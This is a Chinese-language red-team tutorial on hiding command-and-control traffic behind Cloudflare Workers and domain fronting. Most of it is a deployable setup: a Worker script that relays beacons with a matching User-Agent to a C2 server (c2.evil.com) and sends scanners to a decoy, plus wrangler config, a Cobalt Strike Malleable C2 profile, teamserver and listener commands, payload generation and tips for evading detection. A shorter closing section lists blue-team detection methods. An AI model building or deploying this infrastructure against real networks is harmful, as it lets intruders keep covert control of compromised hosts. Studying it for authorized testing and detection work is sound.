郑重声明本文提及的技术、思路和工具仅可用于授权测试环境严禁用于非法目的。读者应在符合法律法规和伦理规范的前提下进行学习和研究对于任何非法使用本文信息的行为作者概不负责。前言技术背景在现代网络攻防对抗中命令与控制Command and Control, C2通信的隐蔽性是攻击方能否持久潜伏的关键。传统C2通信直接连接攻击者控制的服务器其IP和域名容易被防火墙、IDS/IPS等安全设备识别并阻断。为了应对这一挑战攻击者开始利用内容分发网络CDN这类合法、高信誉的基础设施来隐藏真实的C2服务器而Domain Fronting域前置与Cloudflare Workers的结合正是实现这种高级隐蔽通信的代表性技术。 它们在整个攻击链中处于“通信维持”阶段旨在绕过网络层面的流量审查和封锁。学习价值掌握本技术你将能够理解流量伪装的本质洞悉攻击者如何利用大型云服务提供商的架构特性将恶意流量伪装成对高信誉域名的正常访问。构建高弹性C2基础设施学会使用Cloudflare Workers作为智能流量转发器Redirector实现对真实C2服务器的深度隐藏和保护。提升攻防认知无论是作为攻击方红队提升隐蔽突防能力还是作为防守方蓝队设计更有效的检测和缓解策略本知识都至关重要。使用场景红队/渗透测试在授权的红队演练或渗透测试中用于模拟高级持续性威胁APT组织的隐蔽通信手法测试目标企业的检测与响应能力。安全研究研究CDN、Serverless等新技术的安全边界和潜在滥用风险。绕过审查在特定网络环境下该技术也被用于绕过内容审查访问被封锁的信息但这并非本文讨论的重点。一、核心技术是什么精确定义Domain Fronting (域前置)一种网络隐蔽技术它通过在不同通信层使用不同的域名来工作。具体来说在对外的、可见的DNS请求和TLS握手SNI字段中使用一个无害、高信誉的“前置域名”Front Domain但在建立加密的HTTPS连接后在内部的HTTP Host头中指定一个实际要访问的“隐蔽域名”Hidden Host。 由于CDN等中间代理服务器会根据HTTP Host头来路由请求因此流量最终被导向攻击者控制的服务器而在网络监控设备看来整个通信过程似乎都是在与那个高信誉的前置域名交互。Cloudflare Workers一个边缘计算Edge Computing平台允许开发者在Cloudflare遍布全球的CDN节点上部署和运行JavaScript、Python等代码。 这些代码即Worker可以拦截、分析和修改流经CDN的HTTP(S)请求和响应充当一个功能强大的、可编程的中间人。 在我们的场景中它被用作一个智能的C2流量转发器。一个通俗类比想象一下你要寄一个秘密包裹给朋友“小黑”但你知道邮政系统会检查所有寄往“小黑”家的包裹。传统方式你在包裹上直接写“收件人小黑”这个包裹很可能被拦截。Domain Fronting你找了一家大型、信誉极好的全球物流公司比如FedEx相当于CDN。你在包裹的外包装相当于TLS SNI上写“收件人FedEx总部大楼”。邮政系统一看是寄给大公司的没问题放行。包裹顺利到达FedEx的某个分拣中心。Cloudflare WorkersFedEx分拣中心有个智能分拣机器人相当于Cloudflare Worker。这个机器人被你提前编程设置好了。它打开外包装看到里面还有一张内层便签相当于HTTP Host头上面写着“请转交给在你们这里租用了一个小储物柜的‘小黑’”。机器人根据这个内部指令把包裹放进了“小黑”的储物柜。整个过程中邮政系统只看到包裹流向了FedEx从未暴露“小黑”的存在从而实现了隐蔽投递。实际用途在攻防场景中这种组合的用途非常明确隐藏C2服务器攻击者的C2服务器IP和域名不直接暴露在互联网上所有流量都经过Cloudflare的IP。流量伪装从网络流量监控的角度看受感染主机的所有出站连接都是访问一个高信誉的Cloudflare域名如*.workers.dev或其他托管在Cloudflare上的合法域名这使得恶意流量淹没在海量正常流量中极难被发现。增强过滤与对抗Cloudflare Worker可以编写复杂的逻辑例如只转发来自特定IP、带有特定User-Agent或包含特定参数的请求到真实C2其他所有扫描、探测流量则可以被重定向到无害网站如Google从而有效对抗蓝队的溯源分析。技术本质说明该技术的核心在于利用了现代CDN架构的请求路由机制和边缘计算能力。TLS SNI 与 HTTP Host 的分离HTTPS协议中TLS握手阶段的服务器名称指示Server Name Indication, SNI是明文的它告诉CDN服务器客户端想要与哪个域名建立加密连接。而建立连接后加密的HTTP请求体内的Host头则告诉CDN服务器具体要请求哪个站点的内容。大多数CDN为了托管多个客户允许SNI域名和Host头域名不一致只要Host头指向的域名也由该CDN提供服务即可。 Domain Fronting正是利用了这一点。边缘代码执行Cloudflare Workers在CDN的边缘节点上执行代码这意味着它在CDN解密TLS流量之后、将请求转发到源服务器之前运行。 这给了我们一个完美的时机来检查请求的内部特征如Host头、其他HTTP头、URL路径等并根据预设逻辑动态决定如何处理这个请求——是转发给C2还是丢弃或是重定向。下图展示了整个流程的架构和时序关系真实C2服务器Cloudflare Worker脚本Cloudflare CDN边缘节点企业防火墙/IDS受感染主机真实C2服务器Cloudflare Worker脚本Cloudflare CDN边缘节点企业防火墙/IDS受感染主机攻击准备阶段部署C2服务器与Worker脚本alt[合法信标 Beacon][非法请求或扫描]发起HTTPS请求\nTLS SNI: worker-demo.user.workers.dev流量放行\n目标为高信誉Cloudflare域名解密TLS并执行脚本检查Host与User-Agent转发请求 fetch返回C2指令返回C2响应加密响应返回正常响应构造重定向响应\nLocation: https://www.google.com返回302重定向加密响应返回重定向响应这张图清晰地展示了对于外部监控设备Firewall而言所有通信都发生在Victim和Cloudflare之间。真正的恶意通信目标C2被Worker脚本完全屏蔽。二、环境准备工具版本Cloudflare Account: 免费版即可。Wrangler CLI:v3.x或更高版本。Wrangler是用于管理Cloudflare Workers的官方命令行工具。Node.js:v18.x或更高版本。Wrangler基于Node.js运行。C2 Framework: 以Cobalt Strikev4.x为例但原理适用于任何支持HTTP/HTTPS监听器的C2框架如Sliver, Metasploit等。下载与安装安装 Node.js 和 npm:访问 Node.js官网 下载并安装适合你操作系统的LTS版本。安装 Wrangler CLI:打开终端执行以下命令进行全局安装。npminstall-g wrangler登录 Cloudflare:执行以下命令Wrangler会打开一个浏览器窗口让你登录并授权。wrangler login核心配置注册一个域名 (可选但推荐)虽然可以使用Cloudflare提供的免费*.workers.dev子域名但为了更好的操作安全性OPSEC建议注册一个自己的域名并将其NS记录指向Cloudflare。准备C2服务器在一台VPS上部署你的C2框架如Cobalt Strike。假设你的C2服务器IP为198.51.100.10域名为c2.evil.com并已配置好DNS解析。三、核心实战我们将创建一个Cloudflare Worker它会检查传入请求的User-Agent头。如果User-Agent是我们约定的值就将请求转发给真实的C2服务器否则重定向到Google。步骤一创建Worker项目在你的工作目录下运行以下命令初始化一个新的Worker项目wrangler init redteam-worker进入项目目录cdredteam-worker你会看到一个基本的项目结构核心文件是src/index.js(或.ts) 和wrangler.toml。步骤二编写Worker转发逻辑打开src/index.js文件用以下代码替换原有内容。这段代码实现了核心的请求过滤和转发功能。/** * 郑重声明 * 本代码仅用于授权的渗透测试和安全研究环境。 * 严禁用于任何非法攻击活动。 * 非法使用本代码所造成的一切后果由使用者自行承担。 */exportdefault{asyncfetch(request,env,ctx){// 从环境变量中获取预设的目标C2地址和合法的User-Agent// 这样做的好处是不用硬编码在代码里方便通过Cloudflare后台修改constC2_HOSTenv.C2_HOST||https://your-c2-server.com;constLEGIT_UAenv.LEGIT_USER_AGENT||Custom-Beacon/1.0;constDECOY_URLenv.DECOY_URL||https://www.google.com;// 获取请求的URL和User-AgentconsturlnewURL(request.url);constuserAgentrequest.headers.get(User-Agent)||;try{// 检查User-Agent是否匹配我们约定的值if(userAgent.includes(LEGIT_UA)){// 如果匹配构造一个新的URL将请求转发到真实的C2服务器// 路径和查询参数保持不变constc2UrlnewURL(url.pathnameurl.search,C2_HOST);// 创建一个新的请求对象复制原始请求的headers, method, bodyconstc2RequestnewRequest(c2Url,{method:request.method,headers:request.headers,body:request.body,redirect:manual,// 禁止自动重定向});// 将请求发送到C2服务器并等待响应constc2Responseawaitfetch(c2Request);// 将C2服务器的响应直接返回给客户端returnc2Response;}else{// 如果User-Agent不匹配返回一个302重定向到诱饵网站returnResponse.redirect(DECOY_URL,302);}}catch(error){// 异常处理如果发生任何错误同样重定向到诱饵网站避免暴露错误信息console.error(Error processing request:${error.message});returnResponse.redirect(DECOY_URL,302);}},};步骤三配置wrangler.toml打开wrangler.toml文件配置Worker的名称、兼容性日期并设置环境变量。name redteam-worker main src/index.js compatibility_date 2024-01-01 # 在这里定义环境变量用于在代码中引用 # 这样可以不把敏感信息硬编码到代码中 [vars] # 你的真实C2服务器地址 (必须是HTTPS) C2_HOST https://c2.evil.com # 你在C2 Profile中设置的独特User-Agent LEGIT_USER_AGENT Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 # 用于迷惑扫描者的诱饵URL DECOY_URL https://www.google.com步骤四部署Worker在redteam-worker目录下运行部署命令wrangler deploy部署成功后Wrangler会返回一个*.workers.dev的URL例如https://redteam-worker.your-username.workers.dev。这就是你的C2信标需要连接的地址。步骤五配置Cobalt Strike并验证创建 Malleable C2 Profile:创建一个名为worker_profile.profile的文件关键是http-get和http-post块中的User-Agent头必须与wrangler.toml中配置的LEGIT_USER_AGENT一致。# worker_profile.profile set sample_name Worker_C2_Profile; set sleeptime 30000; # 30秒 set jitter 10; set useragent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36; http-get { set uri /api/v1/updates; client { header Accept */*; metadata { base64; prepend session_id; header Cookie; } } server { header Content-Type application/octet-stream; output { print; } } } http-post { set uri /api/v1/submit; client { header Content-Type application/x-www-form-urlencoded; id { parameter user_id; } output { print; } } server { output { print; } } }启动 Team Server:使用该profile启动你的Cobalt Strike team server。./teamserver198.51.100.10 your_password worker_profile.profile创建 Listener:在Cobalt Strike客户端中创建一个新的HTTPS Host Beacon监听器。HTTPS Host: 填写你部署Worker后得到的URL例如redteam-worker.your-username.workers.dev。HTTPS Port: 443。HTTPS Host (Stager): 同样填写Worker的URL。生成载荷并执行:生成一个任意类型的载荷如stageless/windows/beacon_https/x64/exe在目标机器上执行。结果验证上线成功你应该能在Cobalt Strike中看到新的Beacon上线。流量分析在受害者机器上使用netstat -anb或Wireshark抓包你会看到所有连接都指向Cloudflare的IP域名是你的*.workers.dev地址。尝试用浏览器或curl直接访问你的Worker URLhttps://redteam-worker.your-username.workers.dev。由于User-Agent不匹配你应该会被重定向到Google。使用curl并伪造User-Agent进行测试# 这个请求会被重定向到Googlecurl-v https://redteam-worker.your-username.workers.dev# 这个请求会被转发到你的C2服务器可能会返回404或C2的特定响应curl-v -AMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36https://redteam-worker.your-username.workers.dev/api/v1/updates四、进阶技巧多重条件过滤仅检查User-Agent是不够的。可以组合检查请求的来源IP地理位置、ASN、请求路径、是否存在特定HTTP头等。Cloudflare Worker的request.cf对象提供了丰富的客户端信息。// 示例只允许来自特定国家如美国并且UA匹配的请求constcountryrequest.cf.country;if(userAgent.includes(LEGIT_UA)countryUS){// ... 转发到C2}动态C2地址不要将C2地址硬编码。可以将其存储在Cloudflare KV键值存储或从一个安全的API动态获取增加灵活性和对抗性。使用自定义域名*.workers.dev域名本身就是一个可疑指标。 将Worker绑定到你自己的、看起来无害的域名上例如status.my-startup-app.com并配置路由可以大大提高隐蔽性。结合Cloudflare Zero Trust可以利用Cloudflare Zero Trust Tunnels让你的C2服务器完全不暴露任何公网端口。Worker通过Zero Trust隧道与C2通信安全性更高。对抗/绕过思路传统的Domain Fronting因SNI与Host不匹配而容易被检测。 但使用Cloudflare Worker时SNI和Host都可以是Worker的域名redteam-worker.your-username.workers.devWorker在内部通过fetch将请求转发到c2.evil.com。这种模式更像是边缘代理转发而不是经典意义上的Domain Fronting因此更难被基于SNI/Host不匹配规则的防火墙检测到。五、注意事项与防御风险提示滥用风险此技术被APT组织和恶意软件广泛使用。服务商封禁大型云服务商如Google, Amazon已采取措施限制或禁止传统的Domain Fronting。 虽然Cloudflare Workers目前提供了更灵活的方式但滥用同样可能导致账户被封禁。开发侧安全代码范式如果你是应用开发者需要防止自己的Cloudflare Worker被滥用严格输入验证对所有传入请求的参数、路径和头部进行严格验证。最小权限原则Worker的API令牌如果使用应具有最小必要权限。避免开放代理确保你的Worker逻辑不会变成一个开放的代理不允许用户任意指定转发的目标地址。运维侧加固方案作为防守方蓝队可以采取以下措施流量解密与深度检测对出站HTTPS流量进行解密是检测此类威胁的关键。只有解密后才能检查HTTP内部的真实Host头、User-Agent和其他指标。监控*.workers.dev域名虽然攻击者可能使用自定义域名但监控对*.workers.dev这个顶级域名的异常、高频或周期性访问仍然是一个有价值的检测点。行为分析与异常检测心跳检测寻找固定时间间隔即使有抖动的、具有相同特征如相同大小、相同目标域名的网络连接这是C2信标的典型行为。User-Agent异常监控不常见的、或与进程不匹配的User-Agent字符串。DNS/HTTP不匹配虽然此技术中SNI和Host可能匹配但可以检查进程发起的DNS请求与其实际HTTP/HTTPS通信的目标是否一致。日志检测线索在代理服务器、防火墙或EDR日志中寻找以下线索SNI/Host不匹配对于传统的Domain Fronting这是最直接的证据。高频连接到单一CDN资源一个客户端持续、有规律地连接到同一个Cloudflare Worker URL。JA3/JARM指纹分析TLS客户端指纹寻找与已知恶意软件或工具如Cobalt Strike匹配的指纹。数据包大小C2信标通常具有固定或小范围变化的数据包大小。总结核心知识通过在Cloudflare边缘节点上运行的Worker脚本将基于特定标识如User-Agent的恶意流量转发到隐藏的C2服务器而将其他流量重定向到无害目标从而实现通信的高度隐蔽。使用场景主要用于高级红队演练模拟APT攻击以测试和提升蓝队的检测与响应能力。防御要点核心在于HTTPS流量解密和行为异常检测。关注对*.workers.dev等边缘计算平台域名的周期性访问并分析流量内部特征。知识体系连接此技术是C2基础设施C2 Infrastructure、红队操作Red Teaming、流量混淆Traffic Obfuscation和边缘计算安全Edge Computing Security等领域的交集。进阶方向可以进一步研究其他云厂商的类似服务如AWS LambdaEdge, Azure Functions以及结合DNS-over-HTTPS (DoH) 等技术构建更复杂的隐蔽信道。自检清单是否说明技术价值是否给出学习目标是否有 Mermaid 核心机制图是否有可运行代码是否有防御示例是否连接知识体系是否避免模糊术语